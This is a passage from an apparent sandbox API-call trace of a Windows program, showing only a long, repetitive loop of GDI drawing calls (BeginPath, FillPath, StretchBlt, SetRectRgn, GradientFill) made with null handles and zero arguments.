() returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.420] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.420] GradientFill () returned 0x0 [0119.420] BeginPath (hdc=0x0) returned 0 [0119.420] FillPath (hdc=0x0) returned 0 [0119.420] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.421] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.421] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.421] GradientFill () returned 0x0 [0119.421] BeginPath (hdc=0x0) returned 0 [0119.421] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.422] BeginPath (hdc=0x0) returned 0 [0119.422] FillPath (hdc=0x0) returned 0 [0119.422] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.422] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.422] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.423] GradientFill () returned 0x0 [0119.423] BeginPath (hdc=0x0) returned 0 [0119.423] FillPath (hdc=0x0) returned 0 [0119.423] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.423] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 